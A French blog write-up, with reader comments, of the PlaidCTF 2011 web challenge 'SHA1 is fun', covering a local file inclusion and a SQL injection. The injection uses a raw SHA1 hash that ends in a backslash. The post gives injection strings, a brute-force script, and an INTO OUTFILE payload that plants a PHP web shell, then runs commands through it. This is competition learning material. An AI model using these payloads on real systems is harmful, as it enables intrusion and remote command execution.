[Write-Up] SHA1 is fun – PlaidCTF – Bazooka Method
Ce week-end j’ai fait le PlaidCTF avec Zenk-Security.
Dans l’ensemble CTF assez sympa avec énormément d’épreuves dans toutes les catégories.
J’ai commencé directement sur la première épreuve web ouverte, que j’ai trouvée assez sympa même si j’ai pas mal bataillé dessus. Le nombre de validations n’était pas excessif et les organisateurs ont même hésité à filer un indice.
Edit: Au début les doubles quotes ne marchaient pas (ils ont eu des problèmes avec l’épreuve ils ont enlevé le htmlentities) donc j’ai résolu l’épreuve autrement comme elle aurait pu (dû) se faire, avec la sha1 en raw data.
On avait une page:
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index
On remarque rapidement la LFI car
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/../pages/index
affichait la bonne page.
On s’aperçoit également que
http://a11.club.cc.cmu.edu:32065/pages/index
nous donne le code source de index du fait de l’absence d’extension (index est un fichier et non un répertoire).
<!--?php if(!empty($_POST['username']) && !empty($_POST['password'])) { $password = sha1($_POST['password'], true); $username = htmlspecialchars($_POST['username']); $db = mysql_connect("localhost", "problem1", "css7UjBmevbm"); mysql_select_db("problem1",$db); $rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\""); if(mysql_num_rows($rs) <= 0) echo 'Wrong username/password.'; else echo "Welcome {$_POST['username']}."; } ?--> <form method="post"> Username: <input maxlength="10" name="username" type="textbox" /> Password: <input maxlength="10" name="password" type="textbox" /> <input name="submit" type="submit" /> </form> Notices: This system is now using the advanced SHA1 encryption function. Call the helpdesk if you need to change your password.
J’ai directement tilté sur:
$password = sha1($_POST['password'], true);
En effet j’avais déjà fait une épreuve dans ce genre là au Leetmore CTF (Oh Those Admins).
Sauf que ici, il fallait agir un peu différemment, je m’explique.
Voici la requete:
$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");
Le deuxième argument de sha1() à true signifie qu’on récupère les données raw et non le code hexadécimal correspondant. Ainsi si l’on récupère un password dont le sha1 finit ou contient un antislash « \ », on pourra contrôler username (OR 1=1 — ) et faire ce que l’on veut, ainsi la requête deviendra:
SELECT * FROM authtable WHERE password = "RawData\" AND username = " OR 1=1 -- "
On implémente donc un compteur en php (boucle for) qui effectue un sha1 de tous les nombres et on cherche un backslash en dernier caractère.
<!--?php for($i = 1; $i <= 2000000; $i++) { $hash = sha1($i); if(substr($hash, 38, 2) == "5c") { // 5c == '\' echo $i." - "; die(sha1($i, true)); } } die("fin"); ?-->
sha1(17, true) contient un antislash en dernier caractère, parfait.
On met OR 1=1 — dans username et 17 dans password:

Si on met OR 1=2 ça ne marche pas (Wrong username/password).
On a donc une blind sql injection.
L’épreuve avait des problèmes dans les premières heures donc je m’étais mis en tête que les quotes ne marchaient pas et je me suis mis à bruteforcer toute la base de donnée via information_schema, en vain (méthode Bazooka).
J’ai également bruteforcé le fichier problem1.php à la recherche d’une clé avec mon ami kr0ch0u. Ce fut très long mais on a pu avoir accès à une partie intéressante du code source:
$path = realpath($_REQUEST['p']); (strpos($path, "pages") !== false) or die("Invalid page.");
On apprend donc que le path dans la variable p doit contenir « pages ».
Une fois que je me suis rendu compte que les quotes marchaient, j’ai cherché à créer une backdoor dans /tmp, aidé de nico34 et kr0ch0u. Il fallait mettre dans le champ username:
UNION SELECT "<!--?php system($_GET['cmd']); ?-->",2,3,4 INTO OUTFILE "/tmp/pages202"+--+
Et enfin grâce à la LFI on avait cette fameuse clé.
http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=ls%20/
bin boot dev etc home initrd.img key lib lib64 lost+found media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz 2 3 4
http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=cat%20/key
IAMAMYSQLBITCH!! 2 3 4


avril 25th, 2011 at %H:%M
you didn’t actually need to mess with the password or think about sha1 at all. The username parameter is readily injectable with a simple » (notice the $_POST['username'] inside the sql query, it’s not using the escaped version).
avril 25th, 2011 at %H:%M
[...] Writeup par SHP – épreuve : SHA1 is fun [...]
avril 25th, 2011 at %H:%M
It was much simpler than that…
The username parameter was injectable (classic SQLi), so you don’t need to close the quote using RAW SHA1. Take a look at the statement –> {$_POST['username']}
avril 25th, 2011 at %H:%M
Nice Write up ma poule
avril 25th, 2011 at %H:%M
Merci pour le Writeup SHP !
« méthode Bazooka » loool
En tout cas, c’était bien sympa. à refaire !
avril 25th, 2011 at %H:%M
Tu t’es gavé, p’tit mouton.
Merci pour le writeup !
avril 25th, 2011 at %H:%M
Merci pour les comments
I think staff has failed, because sha1 set to true is not innocent and « sha1 is fun » is even the challenge name, but my method is interesting in the case where magic_quotes_gpc is on
avril 25th, 2011 at %H:%M
I’m quite sure that simple injection in username didn’t work in my first attempts, as if magic_quotes was on, so I think this is the right way to pass the challenge (plus avoiding quotes by hex encoding).
I didn’t see any note, but I think they allowed quotes a bit later, making it possible to ignore the sha1 part.
Anyways, nice write-up. Thank you!!
avril 25th, 2011 at %H:%M
thanks for the write up. how did you bruteforce problem1.php to get the source code?
avril 25th, 2011 at %H:%M
+1 ramandi there was a htmlentities first and staff took it off because the challenge should fail
=>yomo blind on load_file (ASCII and SUBSTR)
thx for comments
avril 28th, 2011 at %H:%M
Hey shp.
We used the same method, and I agree with you and ramandi for the $_GET['password'] injection. The thing is that if magic_quotes were set to on, it would have been impossible to inject our backdoor.
The could have been encoded in hex but we would have been blocked for the « /path/file ».
I’ll post my writeup soon if you want to take a look..
avril 28th, 2011 at %H:%M
yep bik3te but if htmlentities stayed in the code source, i think that my method is the only valid … htmlspecialchars does not encode simple quote but only double quote.
‘ »‘ (double quote) becomes ‘"’ when ENT_NOQUOTES is not set.
»’ (single quote) becomes ‘'’ only when ENT_QUOTES is set.
So i think my method stays the only one possible with htmlspecialchars or htmlentities, and it is even backdoorable (simple quote usable)
Your blog is in my rss reader so i’ll have a look at your write-up thanks for comment
octobre 4th, 2011 at %H:%M
Pour trouver le nombre qui donne un \ à la fin en sha1, j’ai coder quelque chose de plus simple :
<?php
for($i=1;$i<=90000;$i++) {
$val = sha1($i, true);
$val = substr($val, -1);
if($val == "\\") {
echo $i.'’;
break; // à enlever si on en veux plusieur…
}
}
?>